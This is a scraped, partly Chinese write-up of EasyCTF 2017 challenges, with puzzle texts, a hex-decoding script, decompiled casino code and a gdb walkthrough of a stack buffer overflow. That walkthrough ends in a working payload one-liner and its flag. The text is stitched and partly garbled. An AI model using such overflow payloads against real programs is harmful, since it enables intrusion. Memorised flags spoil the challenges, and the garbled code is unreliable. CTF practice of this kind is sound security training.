I tried to hide a flag sneakily, can you find it? Download
solution
Phunky Python I
problem
The other day we happened upon a dusty old laptop covered in duct tape and surrounded by several papers with notes scrawled all over them. Upon inspection, we found that the laptop contained several python files labeled phunky.
We’ve determined that each of the files contains a mini reversing challenge. The first task is simple: Find the value of x such that the program prints out easyctf (make sure it’s lowercase!).
Boredom took over, so I wrote this python file! I didn’t want anyone to see it though because it doesn’t actually run, so I used the coolest base-16 encoding to keep it secret. python
solution
1
2
3
4
5
6
7
8
s=open('useless.py').read()
s=s.decode('hex')
whileTrue:
if'exec('in s:
s = eval(s[5:-1])
else:
break
print s
flag = 'easyctf{python_3x3c_exec_3xec_ex3c}'
priint flag
Phunky Python II
problem
We stumbled across another phunky Python file. Can you find the redacted value of jkx that makes this program print True?
pp = filter(lambda g: not any(g % u == 0for u in range(2, g)), range(2, 10000))
b = reduce(operator.mul, (pp[i] ** int(str(jkx)[i]) for i in range(len(str(jkx)))))
print b == 6548044661510965675361835669609097497614277988316628335954865908614987464656662774230164176397886049495203497380194320473112237121935351588106637391652296924206523967496334906449626062538176842451446687574581963609515235677360001918335627990557065870263618484501558703622228018822062325974112864876000000
Here are 67k binaries, well more accurately 67,139 binaries. Solve every single one, append the results together in order (shouldn’t be too difficult as the binaries are numbered) and then from there I’m sure you can figure it out.
We wanted to branch into the casino business, but human employees are too expensive so we decided to automate it. I feel like we missed something obvious though… Oh well! Here’s the binary: casino
Solve this problem by logging into the shell server and navigating to /problems/casino.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
int __cdecl main(int argc, constchar **argv, constchar **envp)
{
__int64 v3; // rax@1
__int64 v4; // rdx@1
__int64 v5; // rax@1
int v6; // ebx@2
__int64 v7; // rdx@2
__int64 v8; // rax@2
__int64 v9; // rax@2
__int64 v10; // rdi@2
__int64 v11; // rdx@2
__int64 v13; // rax@4
int v14; // eax@4
__int64 v15; // rdx@4
bool v16; // al@6
__int64 v17; // rax@11
__int64 v18; // rax@13
__int64 v19; // rdx@14
__int64 v20; // rax@15
__int64 v21; // rax@16
int v22; // [sp+Ch] [bp-1C4h]@4
char v23; // [sp+10h] [bp-1C0h]@4
char v24; // [sp+30h] [bp-1A0h]@4
__int64 v25; // [sp+B0h] [bp-120h]@4
__int64 v26; // [sp+1B8h] [bp-18h]@1
v26 = *MK_FP(__FS__, 40LL);
LODWORD(v3) = std::operator<<<std::char_traits<char>>(&std::cout, "Welcome to the EasyCTF 2017 Casino", envp);
sunnyelf@ubuntu:~/Desktop$ ./doubly_dangerous
Give me a string:
flag
nope!
sunnyelf@ubuntu:~/Desktop$ ./doubly_dangerous
Give me a string:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
nope!
Segmentation fault (core dumped)
(gdb) set disassembly-flavor intel
(gdb) b main
Breakpoint 1 at 0x8048615
(gdb) r < 64A.txt
Starting program: /home/sunnyelf/Desktop/doubly_dangerous < 64A.txt
Breakpoint 1, 0x08048615 in main ()
(gdb) x/wx $ebp-0xc
0xbffff0fc: 0x080486b1
当输入65个A字符时开始覆盖(A字符的ASCII码的十六进制是41):
(gdb) r < 65A.txt
Starting program: /home/sunnyelf/Desktop/doubly_dangerous < 65A.txt
Breakpoint 1, 0x08048615 in main ()
(gdb) x/wx $ebp-0xc
0xbffff0fc: 0x08048641
接下再看一下0x804876c所指的值:
(gdb) x/wx 0x804876c
0x804876c: 0x41348000
于是构造payload:'A' * 64 + '\x00\x80\x34\x41'
python -c "print 'A'*64 + '\x00\x80\x34\x41'" | ./doubly_dangerous
Give me a string:
Success! Here is your flag:
easyctf{bofs_and_floats_are_d0uble_tr0uble!}
Simple Rop
problem
On the shell there is a folder /problems/simple-rop.